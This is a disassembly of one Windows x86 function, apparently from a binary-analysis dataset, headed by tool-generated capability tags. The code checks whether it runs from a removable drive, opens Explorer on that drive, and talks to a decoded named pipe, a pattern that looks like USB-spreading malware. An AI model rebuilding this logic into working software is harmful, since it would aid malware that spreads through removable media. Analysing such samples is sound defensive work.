Function at 0x4027cb
Capabilities:
Check if file exists
Get disk information
Read file on windows
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
push 0x104
push 0
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x118]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea eax, [ebp - 0x220]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x101
push 0
lea eax, [ebp - 0x115]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
jne 0x4028a7
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 0x264], eax
push 0x40
push 0
lea eax, [ebp - 0x260]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
push str._n__s
lea eax, [ebp - 0x260]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 5
push 0
lea eax, [ebp - 0x260]
push eax
push str.Explorer.exe
push str.open
push 0
call dword [ebp - 0x264]
and dword [ebp - 4], 0
or dword [ebp - 0x10], 0xffffffff
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
movsx eax, byte [0x40fbb4]
cmp eax, 0xffffffb1
jne 0x4028d4
push 0x8f
push 0x30
push 0x40fbb4
call fcn.004023d0
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push 0x40fbb4
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x402921
push 0
push 1
lea eax, [ebp - 0x220]
push eax
call fcn.0040250f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xe7
jne 0x40291c
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x402a4d
mov dword [ebp - 8], 2
push 0
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
push 0
lea eax, [ebp - 0xc]
push eax
push 0x10
mov eax, dword [0x4122fc]
add eax, 0x7d8
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x104
push 0
push 0x4126f0
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
lea eax, [ebp - 0xc]
push eax
push 0x104
push 0x4126f0
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0x4126f0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x4029b2
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 1
lea eax, [ebp - 0x220]
push eax
call fcn.0040250f
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x2e
push 0x4126f0
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4029d9
mov eax, dword [ebp - 4]
and dword [eax], 0
and dword [ebp - 0x268], 0
jmp 0x4029ef
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 0x64
jge 0x402a3d
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push 0x40fbb4
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x402a2a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x402a28
jmp 0x402a3d
jmp 0x402a33
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4029e2
push 0
push 2
lea eax, [ebp - 0x220]
push eax
call fcn.0040250f
leave
ret